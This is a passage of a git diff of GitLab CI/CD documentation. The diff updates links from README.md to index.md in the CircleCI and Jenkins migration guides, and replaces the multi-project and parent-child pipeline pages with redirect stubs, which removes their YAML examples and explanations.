file should conform to the [OpenMetrics](https://openmetrics.io/) format. For example: diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index eb5ed451778..968adf2e161 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -68,7 +68,7 @@ job1: ### Workflows -CircleCI determines the run order for jobs with `workflows`. This is also used to determine concurrent, sequential, scheduled, or manual runs. The equivalent function in GitLab CI/CD is called [stages](../yaml/README.md#stages). Jobs on the same stage run in parallel, and only run after previous stages complete. Execution of the next stage is skipped when a job fails by default, but this can be allowed to continue even [after a failed job](../yaml/README.md#allow_failure). +CircleCI determines the run order for jobs with `workflows`. This is also used to determine concurrent, sequential, scheduled, or manual runs. The equivalent function in GitLab CI/CD is called [stages](../yaml/index.md#stages). Jobs on the same stage run in parallel, and only run after previous stages complete. Execution of the next stage is skipped when a job fails by default, but this can be allowed to continue even [after a failed job](../yaml/index.md#allow_failure). See [the Pipeline Architecture Overview](../pipelines/pipeline_architectures.md) for guidance on different types of pipelines that you can use. Pipelines can be tailored to meet your needs, such as for a large complex project or a monorepo with independent defined components. @@ -140,7 +140,7 @@ job4: #### Scheduled run -GitLab CI/CD has an easy to use UI to [schedule pipelines](../pipelines/schedules.md). Also, [rules](../yaml/README.md#rules) can be used to determine if jobs should be included or excluded from a scheduled pipeline. +GitLab CI/CD has an easy to use UI to [schedule pipelines](../pipelines/schedules.md). Also, [rules](../yaml/index.md#rules) can be used to determine if jobs should be included or excluded from a scheduled pipeline. CircleCI example of a scheduled workflow: @@ -159,7 +159,7 @@ scheduled-workflow: - build ``` -Example of the same scheduled pipeline using [`rules`](../yaml/README.md#rules) in GitLab CI/CD: +Example of the same scheduled pipeline using [`rules`](../yaml/index.md#rules) in GitLab CI/CD: ```yaml job1: @@ -188,7 +188,7 @@ release-branch-workflow: - testing ``` -Example of the same workflow using [`when: manual`](../yaml/README.md#whenmanual) in GitLab CI/CD: +Example of the same workflow using [`when: manual`](../yaml/index.md#whenmanual) in GitLab CI/CD: ```yaml deploy_prod: @@ -200,7 +200,7 @@ deploy_prod: ### Filter job by branch -[Rules](../yaml/README.md#rules) are a mechanism to determine if the job runs for a specific branch. +[Rules](../yaml/index.md#rules) are a mechanism to determine if the job runs for a specific branch. CircleCI example of a job filtered by branch: @@ -265,7 +265,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/README.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/2.0/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs @@ -294,7 +294,7 @@ GitLab.com shared runners: ### Machine and specific build environments -[Tags](../yaml/README.md#tags) can be used to run jobs on different platforms, by telling GitLab which runners should run the jobs. +[Tags](../yaml/index.md#tags) can be used to run jobs on different platforms, by telling GitLab which runners should run the jobs. CircleCI example of a job running on a specific environment: diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 812f1caa5d1..9f2115fa4a0 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -17,9 +17,9 @@ that were able to quickly complete this migration: 1. Start by reading the GitLab CI/CD [Quick Start Guide](../quick_start/index.md) and [important product differences](#important-product-differences). 1. Learn the importance of [managing the organizational transition](#managing-the-organizational-transition). -1. [Add runners](../runners/README.md) to your GitLab instance. +1. [Add runners](../runners/index.md) to your GitLab instance. 1. Educate and enable your developers to independently perform the following steps in their projects: - 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/README.md). + 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/index.md). 1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs. 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#using-components-of-auto-devops) the configuration as needed. 1. Add [Review Apps](../review_apps/index.md). @@ -71,45 +71,45 @@ If you are interested in helping GitLab test the wrapper, join our [public testi There are some high level differences between the products worth mentioning: - With GitLab you don't need a root `pipeline` keyword to wrap everything. -- The way pipelines are triggered and [trigger other pipelines](../yaml/README.md#trigger) +- The way pipelines are triggered and [trigger other pipelines](../yaml/index.md#trigger) is different than Jenkins. GitLab pipelines can be triggered: - on push - on [schedule](../pipelines/schedules.md) - from the [GitLab UI](../pipelines/index.md#run-a-pipeline-manually) - - by [API call](../triggers/README.md) - - by [webhook](../triggers/README.md#triggering-a-pipeline-from-a-webhook) + - by [API call](../triggers/index.md) + - by [webhook](../triggers/index.md#triggering-a-pipeline-from-a-webhook) - by [ChatOps](../chatops/index.md) - You can control which jobs run in which cases, depending on how they are triggered, - with the [`rules` syntax](../yaml/README.md#rules). + with the [`rules` syntax](../yaml/index.md#rules). - GitLab [pipeline scheduling concepts](../pipelines/schedules.md) are also different from Jenkins. -- You can reuse pipeline configurations using the [`include` keyword](../yaml/README.md#include) +- You can reuse pipeline configurations using the [`include` keyword](../yaml/index.md#include) and [templates](#templates). Your templates can be kept in a central repository (with different permissions), and then any project can use them. This central project could also contain scripts or other reusable code. -- You can also use the [`extends` keyword](../yaml/README.md#extends) to reuse configuration +- You can also use the [`extends` keyword](../yaml/index.md#extends) to reuse configuration within a single pipeline configuration. - All jobs within a single stage always run in parallel, and all stages run in sequence. We are planning to allow certain jobs to break this sequencing as needed with our [directed acyclic graph](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/47063) feature. -- The [`parallel`](../yaml/README.md#parallel) keyword can automatically parallelize tasks, +- The [`parallel`](../yaml/index.md#parallel) keyword can automatically parallelize tasks, like tests that support parallelization. - Normally all jobs within a single stage run in parallel, and all stages run in sequence. There are different [pipeline architectures](../pipelines/pipeline_architectures.md) that allow you to change this behavior. -- The new [`rules` syntax](../yaml/README.md#rules) is the recommended method of +- The new [`rules` syntax](../yaml/index.md#rules) is the recommended method of controlling when different jobs run. It is more powerful than the `only/except` syntax. - One important difference is that jobs run independently of each other and have a fresh environment in each job. Passing artifacts between jobs is controlled using the - [`artifacts`](../yaml/README.md#artifacts) and [`dependencies`](../yaml/README.md#dependencies) + [`artifacts`](../yaml/index.md#artifacts) and [`dependencies`](../yaml/index.md#dependencies) keywords. When finished, use the planned [Workspaces](https://gitlab.com/gitlab-org/gitlab/-/issues/29265) feature to more easily persist a common workspace between serial jobs. - The `.gitlab-ci.yml` file is checked in to the root of your repository, much like a Jenkinsfile, but - is in the YAML format (see [complete reference](../yaml/README.md)) instead of a Groovy DSL. It's most + is in the YAML format (see [complete reference](../yaml/index.md)) instead of a Groovy DSL. It's most analogous to the declarative Jenkinsfile format. -- Manual approvals or gates can be set up as [`when:manual` jobs](../yaml/README.md#whenmanual). These can - also leverage [`protected environments`](../yaml/README.md#protecting-manual-jobs) +- Manual approvals or gates can be set up as [`when:manual` jobs](../yaml/index.md#whenmanual). These can + also leverage [`protected environments`](../yaml/index.md#protecting-manual-jobs) to control who is able to approve them. - GitLab comes with a [container registry](../../user/packages/container_registry/index.md), and we recommend using container images to set up your build environment. For example, set up one pipeline that builds your build environment @@ -122,7 +122,7 @@ There are some high level differences between the products worth mentioning: ## Agents vs. runners Both Jenkins agents and GitLab runners are the hosts that run jobs. To convert the -Jenkins agent, simply uninstall it and then [install and register the runner](../runners/README.md). +Jenkins agent, simply uninstall it and then [install and register the runner](../runners/index.md). Runners do not require much overhead, so you can size them similarly to the Jenkins agents you were using. @@ -137,7 +137,7 @@ There are some important differences in the way runners work in comparison to ag Use autoscaling to provision runners only when needed, and scale down when not needed. This is similar to ephemeral agents in Jenkins. -If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../runners/README.md) +If you are using `gitlab.com`, you can take advantage of our [shared runner fleet](../runners/index.md) to run jobs without provisioning your own runners. We are investigating making them [available for self-managed instances](https://gitlab.com/groups/gitlab-org/-/epics/835) as well. @@ -154,8 +154,8 @@ and manage. That said, we do of course still value DRY (don't repeat yourself) principles and want to ensure that behaviors of your jobs can be codified once and applied as needed. You can use the `extends:` syntax to -[reuse configuration in your jobs](../yaml/README.md#extends), and `include:` can -be used to [reuse pipeline configurations](../yaml/README.md#include) in pipelines +[reuse configuration in your jobs](../yaml/index.md#extends), and `include:` can +be used to [reuse pipeline configurations](../yaml/index.md#include) in pipelines in different projects: ```yaml @@ -199,7 +199,7 @@ GitLab takes advantage of our connected ecosystem to automatically pull these ki your Merge Requests, pipeline details pages, and other locations. You may find that you actually don't need to configure anything to have these appear. -If they aren't working as expected, or if you'd like to see what's available, our [CI feature index](../README.md#feature-set) has the full list +If they aren't working as expected, or if you'd like to see what's available, our [CI feature index](../index.md#feature-set) has the full list of bundled features and links to the documentation for each. ### Templates @@ -227,14 +227,14 @@ and is meant to be a mapping of concepts there to concepts in GitLab. #### `agent` -The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/README.md) +The agent section is used to define how a pipeline executes. For GitLab, we use [runners](../runners/index.md) to provide this capability. You can configure your own runners in Kubernetes or on any host, or take advantage of our shared runner fleet (note that the shared runner fleet is only available for GitLab.com users). We also support using [tags](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) to direct different jobs to different runners (execution agents). The `agent` section also allows you to define which Docker images should be used for execution, for which we use -the [`image`](../yaml/README.md#image) keyword. The `image` can be set on a single job or at the top level, in which +the [`image`](../yaml/index.md#image) keyword. The `image` can be set on a single job or at the top level, in which case it applies to all jobs in the pipeline: ```yaml @@ -258,7 +258,7 @@ stages: ``` Setting a step to be performed before and after any job can be done via the -[`before_script`](../yaml/README.md#before_script) and [`after_script`](../yaml/README.md#after_script) keywords: +[`before_script`](../yaml/index.md#before_script) and [`after_script`](../yaml/index.md#after_script) keywords: ```yaml default: @@ -268,10 +268,10 @@ default: #### `stages` -GitLab CI/CD also lets you define stages, but is a little bit more free-form to configure. The GitLab [`stages` keyword](../yaml/README.md#stages) +GitLab CI/CD also lets you define stages, but is a little bit more free-form to configure. The GitLab [`stages` keyword](../yaml/index.md#stages) is a top level setting that enumerates the list of stages, but you are not required to nest individual jobs underneath the `stages` section. Any job defined in the `.gitlab-ci.yml` can be made a part of any stage through use of the -[`stage:` keyword](../yaml/README.md#stage). +[`stage:` keyword](../yaml/index.md#stage). Note that, unless otherwise specified, every pipeline is instantiated with a `build`, `test`, and `deploy` stage which are run in that order. Jobs that have no `stage` defined are placed by default in the `test` stage. @@ -289,7 +289,7 @@ my_job: #### `steps` -The `steps` section is equivalent to the [`script` section](../yaml/README.md#script) of an individual job. This is +The `steps` section is equivalent to the [`script` section](../yaml/index.md#script) of an individual job. This is a simple YAML array with each line representing an individual command to be run: ```yaml @@ -303,9 +303,9 @@ my_job: #### `environment` -In GitLab, we use the [`variables` keyword](../yaml/README.md#variables) to define different variables at runtime. -These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/README.md), -including the section on [protected variables](../variables/README.md#protect-a-cicd-variable) which can be used +In GitLab, we use the [`variables` keyword](../yaml/index.md#variables) to define different variables at runtime. +These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/index.md), +including the section on [protected variables](../variables/index.md#protect-a-cicd-variable) which can be used to limit access to certain variables to certain environments or runners: ```yaml @@ -318,7 +318,7 @@ variables: Here, options for different things exist associated with the object in question itself. For example, options related to jobs are defined in relation to the job itself. If you're looking for a certain option, you should be able to find -where it's located by searching our [complete configuration reference](../yaml/README.md) page. +where it's located by searching our [complete configuration reference](../yaml/index.md) page. #### `parameters` @@ -347,9 +347,9 @@ variable entry. #### `when` -GitLab does support a [`when` keyword](../yaml/README.md#when) which is used to indicate when a job should be +GitLab does support a [`when` keyword](../yaml/index.md#when) which is used to indicate when a job should be run in case of (or despite) failure, but most of the logic for controlling pipelines can be found in -our very powerful [`rules` system](../yaml/README.md#rules): +our very powerful [`rules` system](../yaml/index.md#rules): ```yaml my_job: diff --git a/doc/ci/multi_project_pipelines.md b/doc/ci/multi_project_pipelines.md index acdbe0455ba..06cbf63e512 100644 --- a/doc/ci/multi_project_pipelines.md +++ b/doc/ci/multi_project_pipelines.md @@ -1,332 +1,8 @@ --- -stage: Verify -group: Pipeline Authoring -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference +redirect_to: 'pipelines/multi_project_pipelines.md' --- -# Multi-project pipelines **(FREE)** +This document was moved to [another location](pipelines/multi_project_pipelines.md). -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. - -You can set up [GitLab CI/CD](README.md) across multiple projects, so that a pipeline -in one project can trigger a pipeline in another project. - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview see the [Multi-project pipelines demo](https://www.youtube.com/watch?v=g_PIwBM1J84). - -GitLab CI/CD is a powerful continuous integration tool that works not only per project, -but also across projects with multi-project pipelines. - -Multi-project pipelines are useful for larger products that require cross-project inter-dependencies, such as those -adopting a [microservices architecture](https://about.gitlab.com/blog/2016/08/16/trends-in-version-control-land-microservices/). - -Cross-functional development teams can use cross-pipeline -triggering to trigger multiple pipelines for different microservices projects. Learn more -in the [Cross-project Pipeline Triggering and Visualization demo](https://about.gitlab.com/learn/) -at GitLab@learn, in the Continuous Integration (CI) section. - -Additionally, it's possible to visualize the entire pipeline, including all cross-project -inter-dependencies. **(PREMIUM)** - -## Use cases - -Let's assume you deploy your web app from different projects in GitLab: - -- One for the free version, which has its own pipeline that builds and tests your app -- One for the paid version add-ons, which also pass through builds and tests -- One for the documentation, which also builds, tests, and deploys with an SSG - -With Multi-Project Pipelines you can visualize the entire pipeline, including all build and test stages for the three projects. - -## Multi-project pipeline visualization **(PREMIUM)** - -When you configure GitLab CI/CD for your project, you can visualize the stages of your -[jobs](pipelines/index.md#configure-a-pipeline) on a [pipeline graph](pipelines/index.md#visualize-pipelines). - - - -In the Merge Request Widget, multi-project pipeline mini-graphs are displayed, -and when hovering or tapping (on touchscreen devices) they expand and are shown adjacent to each other. - - - -## Triggering multi-project pipelines through API - -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/31573) to GitLab Free in 12.4. - -When you use the [`CI_JOB_TOKEN` to trigger pipelines](triggers/README.md#ci-job-token), GitLab -recognizes the source of the job token, and thus internally ties these pipelines -together, allowing you to visualize their relationships on pipeline graphs. - -These relationships are displayed in the pipeline graph by showing inbound and -outbound connections for upstream and downstream pipeline dependencies. - -When using: - -- CI/CD Variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of - the [`$CI_PIPELINE_SOURCE` predefined variable](variables/predefined_variables.md) is - `pipeline` for multi-project pipeline triggered through the API with `CI_JOB_TOKEN`. -- [`only/except`](yaml/README.md#only--except) to control job behavior, use the - `pipelines` keyword. - -## Creating multi-project pipelines from `.gitlab-ci.yml` - -> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. - -### Triggering a downstream pipeline using a bridge job - -Before GitLab 11.8, it was necessary to implement a pipeline job that was -responsible for making the API request [to trigger a pipeline](#triggering-multi-project-pipelines-through-api) -in a different project. - -In GitLab 11.8, GitLab provides a new CI/CD configuration syntax to make this -task easier, and avoid needing GitLab Runner for triggering cross-project -pipelines. The following illustrates configuring a bridge job: - -```yaml -rspec: - stage: test - script: bundle exec rspec - -staging: - variables: - ENVIRONMENT: staging - stage: deploy - trigger: my/deployment -``` - -In the example above, as soon as the `rspec` job succeeds in the `test` stage, -the `staging` bridge job is started. The initial status of this -job is `pending`. GitLab then creates a downstream pipeline in the -`my/deployment` project and, as soon as the pipeline is created, the -`staging` job succeeds. `my/deployment` is a full path to that project. - -The user that created the upstream pipeline needs to have access rights to the -downstream project (`my/deployment` in this case). If a downstream project is -not found, or a user does not have access rights to create a pipeline there, -the `staging` job is marked as _failed_. - -When using: - -- CI/CD variables or [`rules`](yaml/README.md#rulesif) to control job behavior, the value of - the [`$CI_PIPELINE_SOURCE` predefined variable](variables/predefined_variables.md) is - `pipeline` for multi-project pipelines triggered with a bridge job (using the - [`trigger:`](yaml/README.md#trigger) keyword). -- [`only/except`](yaml/README.md#only--except) to control job behavior, use the - `pipelines` keyword. - -In the example, `staging` is marked as successful as soon as a downstream pipeline -gets created. If you want to display the downstream pipeline's status instead, see -[Mirroring status from triggered pipeline](#mirroring-status-from-triggered-pipeline). - -NOTE: -Bridge jobs [do not support every configuration keyword](#limitations) that can be used -with other jobs. If a user tries to use unsupported configuration keywords, YAML -validation fails on pipeline creation. - -### Specifying a downstream pipeline branch - -It is possible to specify a branch name that a downstream pipeline uses: - -```yaml -rspec: - stage: test - script: bundle exec rspec - -staging: - stage: deploy - trigger: - project: my/deployment - branch: stable-11-2 -``` - -Use: - -- The `project` keyword to specify the full path to a downstream project. -- The `branch` keyword to specify the name of a branch in the project specified by `project`. - [From GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/10126), variable expansion is - supported. - -GitLab uses a commit that is on the head of the branch when -creating a downstream pipeline. - -NOTE: -Pipelines triggered on a protected branch in a downstream project use the [permissions](../user/permissions.md) -of the user that ran the trigger job in the upstream project. If the user does not -have permission to run CI/CD pipelines against the protected branch, the pipeline fails. See -[pipeline security for protected branches](pipelines/index.md#pipeline-security-on-protected-branches). - -### Passing CI/CD variables to a downstream pipeline - -#### With the `variables` keyword - -Sometimes you might want to pass CI/CD variables to a downstream pipeline. -You can do that using the `variables` keyword, just like you would when -defining a regular job. - -```yaml -rspec: - stage: test - script: bundle exec rspec - -staging: - variables: - ENVIRONMENT: staging - stage: deploy - trigger: my/deployment -``` - -The `ENVIRONMENT` variable is passed to every job defined in a downstream -pipeline. It is available as a variable when GitLab Runner picks a job. - -In the following configuration, the `MY_VARIABLE` variable is passed to the downstream pipeline -that is created when the `trigger-downstream` job is queued. This is because `trigger-downstream` -job inherits variables declared in global variables blocks, and then we pass these variables to a downstream pipeline. - -```yaml -variables: - MY_VARIABLE: my-value - -trigger-downstream: - variables: - ENVIRONMENT: something - trigger: my/project -``` - -You might want to pass some information about the upstream pipeline using, for -example, predefined variables. In order to do that, you can use interpolation -to pass any variable. For example: - -```yaml -downstream-job: - variables: - UPSTREAM_BRANCH: $CI_COMMIT_REF_NAME - trigger: my/project -``` - -In this scenario, the `UPSTREAM_BRANCH` variable with a value related to the -upstream pipeline is passed to the `downstream-job` job, and is available -within the context of all downstream builds. - -Upstream pipelines take precedence over downstream ones. If there are two -variables with the same name defined in both upstream and downstream projects, -the ones defined in the upstream project take precedence. - -#### With variable inheritance - -You can pass variables to a downstream pipeline with [`dotenv` variable inheritance](variables/README.md#pass-an-environment-variable-to-another-job) and [cross project artifact downloads](yaml/README.md#cross-project-artifact-downloads-with-needs). - -In the upstream pipeline: - -1. Save the variables in a `.env` file. -1. Save the `.env` file as a `dotenv` report. -1. Trigger the downstream pipeline. - -```yaml -build_vars: - stage: build - script: - - echo "BUILD_VERSION=hello" >> build.env - artifacts: - reports: - dotenv: build.env - -deploy: - stage: deploy - trigger: my/downstream_project -``` - -Set the `test` job in the downstream pipeline to inherit the variables from the `build_vars` -job in the upstream project with `needs:`. The `test` job inherits the variables in the -`dotenv` report and it can access `BUILD_VERSION` in the script: - -```yaml -test: - stage: test - script: - - echo $BUILD_VERSION - needs: - - project: my/upstream_project - job: build_vars - ref: master - artifacts: true -``` - -### Mirroring status from triggered pipeline - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11238) in GitLab Premium 12.3. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199224) to GitLab Free in 12.8. - -You can mirror the pipeline status from the triggered pipeline to the source -bridge job by using `strategy: depend`. For example: - -```yaml -trigger_job: - trigger: - project: my/project - strategy: depend -``` - -### Mirroring status from upstream pipeline - -You can mirror the pipeline status from an upstream pipeline to a bridge job by -using the `needs:pipeline` keyword. The latest pipeline status from the default branch is -replicated to the bridge job. - -Example: - -```yaml -upstream_bridge: - stage: test - needs: - pipeline: other/project -``` - -### Limitations - -Bridge jobs are a little different from regular jobs. It is not -possible to use exactly the same configuration syntax as when defining regular jobs -that are picked by a runner. - -Some features are not implemented yet. For example, support for environments. - -[Configuration keywords](yaml/README.md) available for bridge jobs are: - -- `trigger` (to define a downstream pipeline trigger) -- `stage` -- `allow_failure` -- [`rules`](yaml/README.md#rules) -- `only` and `except` -- `when` (only with `on_success`, `on_failure`, and `always` values) -- `extends` -- `needs` - -## Trigger a pipeline when an upstream project is rebuilt **(PREMIUM)** - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/9045) in GitLab Premium 12.8. - -You can trigger a pipeline in your project whenever a pipeline finishes for a new -tag in a different project: - -1. Go to the project's **Settings > CI/CD** page, and expand the **Pipeline subscriptions** section. -1. Enter the project you want to subscribe to, in the format `<namespace>/<project>`. - For example, if the project is `https://gitlab.com/gitlab-org/gitlab`, use `gitlab-org/gitlab`. -1. Click subscribe. - -Any pipelines that complete successfully for new tags in the subscribed project -now trigger a pipeline on the current project's default branch. The maximum -number of upstream pipeline subscriptions is 2 by default, for both the upstream and -downstream projects. This [application limit](../administration/instance_limits.md#number-of-cicd-subscriptions-to-a-project) can be changed on self-managed instances by a GitLab administrator. - -The upstream project needs to be [public](../public_access/public_access.md) -and the user must have [developer permissions](../user/permissions.md#project-members-permissions) -for the upstream project. - -## Downstream private projects confidentiality concern - -If you trigger a pipeline in a downstream private project, the name of the project -and the status of the pipeline is visible in the upstream project's pipelines page. - -If you have a public project that can trigger downstream pipelines in a private -project, make sure to check that there are no confidentiality problems. +<!-- This redirect file can be deleted after 2021-09-29. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/parent_child_pipelines.md b/doc/ci/parent_child_pipelines.md index 82bac7c51d2..0b8df2e9f4c 100644 --- a/doc/ci/parent_child_pipelines.md +++ b/doc/ci/parent_child_pipelines.md @@ -1,189 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -type: reference +redirect_to: 'pipelines/parent_child_pipelines.md' --- -# Parent-child pipelines +This document was moved to [another location](pipelines/parent_child_pipelines.md). -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) in GitLab 12.7. - -As pipelines grow more complex, a few related problems start to emerge: - -- The staged structure, where all steps in a stage must be completed before the first - job in next stage begins, causes arbitrary waits, slowing things down. -- Configuration for the single global pipeline becomes very long and complicated, - making it hard to manage. -- Imports with [`include`](yaml/README.md#include) increase the complexity of the configuration, and create the potential - for namespace collisions where jobs are unintentionally duplicated. -- Pipeline UX can become unwieldy with so many jobs and stages to work with. - -Additionally, sometimes the behavior of a pipeline needs to be more dynamic. The ability -to choose to start sub-pipelines (or not) is a powerful ability, especially if the -YAML is dynamically generated. - - - -Similarly to [multi-project pipelines](multi_project_pipelines.md), a pipeline can trigger a -set of concurrently running child pipelines, but within the same project: - -- Child pipelines still execute each of their jobs according to a stage sequence, but - would be free to continue forward through their stages without waiting for unrelated - jobs in the parent pipeline to finish. -- The configuration is split up into smaller child pipeline configurations, which are - easier to understand. This reduces the cognitive load to understand the overall configuration. -- Imports are done at the child pipeline level, reducing the likelihood of collisions. -- Each pipeline has only relevant steps, making it easier to understand what's going on. - -Child pipelines work well with other GitLab CI/CD features: - -- Use [`rules: changes`](yaml/README.md#ruleschanges) to trigger pipelines only when - certain files change. This is useful for monorepos, for example. -- Since the parent pipeline in `.gitlab-ci.yml` and the child pipeline run as normal - pipelines, they can have their own behaviors and sequencing in relation to triggers. - -See the [`trigger:`](yaml/README.md#trigger) keyword documentation for full details on how to -include the child pipeline configuration. - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, see [Parent-Child Pipelines feature demo](https://youtu.be/n8KpBSqZNbk). - -## Examples - -The simplest case is [triggering a child pipeline](yaml/README.md#trigger) using a -local YAML file to define the pipeline configuration. In this case, the parent pipeline -triggers the child pipeline, and continues without waiting: - -```yaml -microservice_a: - trigger: - include: path/to/microservice_a.yml -``` - -You can include multiple files when composing a child pipeline: - -```yaml -microservice_a: - trigger: - include: - - local: path/to/microservice_a.yml - - template: Security/SAST.gitlab-ci.yml -``` - -In [GitLab 13.5](https://gitlab.com/gitlab-org/gitlab/-/issues/205157) and later, -you can use [`include:file`](yaml/README.md#includefile) to trigger child pipelines -with a configuration file in a different project: - -```yaml -microservice_a: - trigger: - include: - - project: 'my-group/my-pipeline-library' - file: 'path/to/ci-config.yml' -``` - -The maximum number of entries that are accepted for `trigger:include:` is three. - -Similar to [multi-project pipelines](multi_project_pipelines.md#mirroring-status-from-triggered-pipeline), -we can set the parent pipeline to depend on the status of the child pipeline upon completion: - -```yaml -microservice_a: - trigger: - include: - - local: path/to/microservice_a.yml - - template: Security/SAST.gitlab-ci.yml - strategy: depend -``` - -## Merge Request child pipelines - -To trigger a child pipeline as a [Merge Request Pipeline](merge_request_pipelines/index.md) we need to: - -- Set the trigger job to run on merge requests: - -```yaml -# parent .gitlab-ci.yml -microservice_a: - trigger: - include: path/to/microservice_a.yml - rules: - - if: $CI_MERGE_REQUEST_ID -``` - -- Configure the child pipeline by either: - - - Setting all jobs in the child pipeline to evaluate in the context of a merge request: - - ```yaml - # child path/to/microservice_a.yml - workflow: - rules: - - if: $CI_MERGE_REQUEST_ID - - job1: - script: ... - - job2: - script: ... - ``` - - - Alternatively, setting the rule per job. For example, to create only `job1` in - the context of merge request pipelines: - - ```yaml - # child path/to/microservice_a.yml - job1: - script: ... - rules: - - if: $CI_MERGE_REQUEST_ID - - job2: - script: ... - ``` - -## Dynamic child pipelines - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/35632) in GitLab 12.9. - -Instead of running a child pipeline from a static YAML file, you can define a job that runs -your own script to generate a YAML file, which is then [used to trigger a child pipeline](yaml/README.md#trigger-child-pipeline-with-generated-configuration-file). - -This technique can be very powerful in generating pipelines targeting content that changed or to -build a matrix of targets and architectures. - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, see [Create child pipelines using dynamically generated configurations](https://youtu.be/nMdfus2JWHM). - -<!-- vale gitlab.Spelling = NO --> -We also have an example project using -[Dynamic Child Pipelines with Jsonnet](https://gitlab.com/gitlab-org/project-templates/jsonnet) -which shows how to use a data templating language to generate your `.gitlab-ci.yml` at runtime. You could use a similar process for other templating languages like [Dhall](https://dhall-lang.org/) or [`ytt`](https://get-ytt.io/). -<!-- vale gitlab.Spelling = NO --> - -The artifact path is parsed by GitLab, not the runner, so the path must match the -syntax for the OS running GitLab. If GitLab is running on Linux but using a Windows -runner for testing, the path separator for the trigger job would be `/`. Other CI/CD -configuration for jobs, like scripts, that use the Windows runner would use `\`. - -In GitLab 12.9, the child pipeline could fail to be created in certain cases, causing the parent pipeline to fail. -This is [resolved in GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/issues/209070). - -## Nested child pipelines - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/29651) in GitLab 13.4. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/243747) in GitLab 13.5. - -Parent and child pipelines were introduced with a maximum depth of one level of child -pipelines, which was later increased to two. A parent pipeline can trigger many child -pipelines, and these child pipelines can trigger their own child pipelines. It's not -possible to trigger another level of child pipelines. - -<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> -For an overview, see [Nested Dynamic Pipelines](https://youtu.be/C5j3ju9je2M). - -## Pass CI/CD variables to a child pipeline - -You can [pass CI/CD variables to a downstream pipeline](multi_project_pipelines.md#passing-cicd-variables-to-a-downstream-pipeline) -the same way as for multi-project pipelines. +<!-- This redirect file can be deleted after 2021-09-29. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/pipeline_editor/index.md b/doc/ci/pipeline_editor/index.md index 1527a05d3d7..7132d47d324 100644 --- a/doc/ci/pipeline_editor/index.md +++ b/doc/ci/pipeline_editor/index.md @@ -15,10 +15,10 @@ the `.gitlab-ci.yml` file in the root of your repository. To access the editor, From the pipeline editor page you can: -- Select the branch to work from. [Introduced in GitLab 13.12](https://gitlab.com/gitlab-org/gitlab/-/issues/326189), disabled by default. +- Select the branch to work from. - [Validate](#validate-ci-configuration) your configuration syntax while editing the file. - Do a deeper [lint](#lint-ci-configuration) of your configuration, that verifies it with any configuration - added with the [`include`](../yaml/README.md#include) keyword. + added with the [`include`](../yaml/index.md#include) keyword. - See a [visualization](#visualize-ci-configuration) of the current configuration. - View an [expanded](#view-expanded-configuration) version of your configuration. - [Commit](#commit-changes-to-ci-configuration) the changes to a specific branch. @@ -58,7 +58,7 @@ reflected in the CI lint. It displays the same results as the existing [CI Lint To view a visualization of your `gitlab-ci.yml` configuration, in your project, go to **CI/CD > Editor**, and then select the **Visualize** tab. The -visualization shows all stages and jobs. Any [`needs`](../yaml/README.md#needs) +visualization shows all stages and jobs. Any [`needs`](../yaml/index.md#needs) relationships are displayed as lines connecting jobs together, showing the hierarchy of execution: @@ -80,10 +80,10 @@ To view the fully expanded CI/CD configuration as one combined file, go to the pipeline editor's **View merged YAML** 